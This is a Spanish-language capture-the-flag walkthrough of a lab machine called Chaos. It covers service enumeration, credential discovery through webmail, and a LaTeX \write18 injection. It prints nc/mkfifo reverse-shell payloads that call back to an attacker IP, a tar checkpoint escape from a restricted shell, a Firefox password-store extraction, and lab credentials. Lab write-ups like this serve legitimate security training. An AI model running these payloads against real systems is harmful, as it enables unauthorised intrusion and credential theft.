🟠Chaos

Write-up de la máquina Chaos de Proving Grounds #writeup #walkthrough

Enumeración

Enumeración de puertos

Comenzamos la resolución de la máquina Chaos, realizando una enumeración rápida de los servicios que se están ejecutando en el objetivo.

nmap -p- --open -Pn --min-rate 500 10.10.10.120

Una vez conocemos los servicios disponibles, vamos a realizar una nueva enumeración más detallada para conocer más información de estos servicios.

nmap -p80,110,143,993,995,10000 -sVC -Pn 10.10.10.120

VERSIONES

  • Puerto 80 -> HTTP ->Apache httpd 2.4.34

  • Puerto 110 -> pop3 -> Dovecot pop3d

  • Puerto 143 -> imap -> Dovecot imapd

  • Puerto 993 -> imap / ssl -> Dovecot imapd

  • Puerto 995 -> pop3 / ssl -> Dovecot pop3d

  • Puerto 10000 -> http -> MiniServ 1.89

Enumeración Web

En el puerto 80, se está ejecutando en servicio Web. Vamos a enumerar su contenido.

Enumeramos directorios y archivos.

Explotación

Durante la enumeración con dirsearch, encontramos la siguiente publicación protegida por contraseña.

Haciendo una enumeración tradicional de usuarios, encontramos el nombre de author: human, que utilizaremos como contraseña para desproteger la publicación.

Encontramos las credenciales para el servicio Webmail. Vamos a comprobar si existe un subdominio o directorio con este nombre.

Encontramos un posible inicio de sesión. Vamos a comprobar si las credenciales son válidas. Utilizando las credenciales localizadas anteriormente, podemos acceder al servicio Webmail.

Una vez hemos accedido, encontramos este email en Drafts. Contiene una serie de claves interesantes y dos archivos adjuntos que vamos a descargar en nuestra máquina de ataque.

Parece que tenemos una password.

Y un mensaje cifrado. Y lo que parece el archivo utilizado para cifrar el mensaje.

Vamos a tratar de buscar un descifrador para este mensaje.

Encontramos un posible descifrador para el archivo cifrado que tenemos.

Vamos a tratar de descifrar nuestro archivo.

La ejecución del script decrypt.py genera un archivo txt que contiene un cifrado en base64. Vamos a descifrarlo.

Encontramos un URL en el mensaje cifrado. Vamos a ver el contenido de la dirección encontrada.

Vamos a interceptar una petición, para comprobar que funciones tiene el endpoint encontrado.

Lo interesante es ver que \write18 está habilitado. Según esta entrada de blog, podemos suponer que pdflatex se ejecuta con el flag --shell-escape, lo que nos permite ejecutar cualquier comando.

Podemos ejecutar comandos aprovechando una vulnerabilidad de LaTeX.

Vamos a ejecutar el siguiente payload:

\immediate\write18{rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.3 1234 >/tmp/f}

Convertimos a URL encoded:

\immediate\write18{rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.16.3+1234+>/tmp/f}

En nuestra máquina de ataque configuramos un oyente nc en el puerto 1234.

Tenemos acceso a la máquina objetivo. Convertimos la terminal en interactiva.

python -c 'import pty;pty.spawn ("/bin/bash")'

Vamos al directorio de usuarios, para tratar de localizar primero la flag de usuario y segundo, posibles vectores de elevación de privilegios.

Pivotando de www-data a ayush

Cuando nos dirigimos al directorio de usuarios, encontramos dos nombres sahay y ayush.

Para el usuario ayush, encontramos unas credenciales durante la enumeración de WP. Vamos a comprobar si estas credenciales son válidas en este momento.

Las credenciales son válidas pero accedemos con una terminal restricted. Vamos a tratar de saltar esta shell para obtener una completamente funcional. Guía interesante para esto. Buscamos diferentes binarios que podemos ejecutar desde restricted shell y el comando tar es uno de ellos.

Volvemos a www-data y vamos al directorio /tmp. En este directorio creamos un archivo securiters. El siguiente paso será añadir este archivo creado a un archivo securiters.tar. Una vez completado este proceso, volvemos a acceder al sistema con las credenciales del usuario ayush, donde ejecutaremos el archivo creado anteriormente para omitir el shell. Finalmente, arreglamos la ruta para obtener una shell funcional.

1. touch securiters
2. tar -cvf securiters.tar securiters
3. Acceder al sistema con las credenciales ayush:jiujitsu
4. tar cf /dev/null securiters.tar --checkpoint=1 --checkpoint-action=exec=/bin/bash
<r --checkpoint=1 --checkpoint-action=exec=/bin/bash
5. export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
6. id

Una vez obtenemos la shell completamente funcional, vamos a localizar la flag de usuario.

Elevación de privilegios

Dentro del directorio del usuario ayush, encontramos otro directorio .mozilla. Veamos su contenido.

Dentro del firefox, encontramos un perfil.

Vamos a transferir toda la información contenida en este perfil a nuestra máquina de ataque de la siguiente manera. En la máquina objetivo, configuramos en servidor Python en el puerto 1337.

En nuestra máquina de ataque creamos un directorio firefox donde descargaremos todos los archivos y ejecutamos el siguiente comando para descargar todos los archivos.

wget http://chaos.htb:1337/ --recursive

Una vez descargados todos los archivos, vamos a utilizar la herramienta firefox_decrypt.py para descifrar información interesante de los archivos descargados. Se pide una contraseña, probamos con la credencial del usuario ayush:jiujitsu y es correcta.

Después de descifrar, obtenemos unas credenciales y un nuevo endpoint donde pueden ser válidas.

Accedemos al Área de Administración del Servidor Web. Webmin tiene una funcionalidad de terminal que vamos a analizar.

Ya tenemos privilegios pero vamos a acceder desde nuestra terminal de ataque. El payload utilizado es el siguiente:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.3 1234 >/tmp/f

Solo quedará buscar la flag root para completar la resolución de la máquina Chaos.

Last updated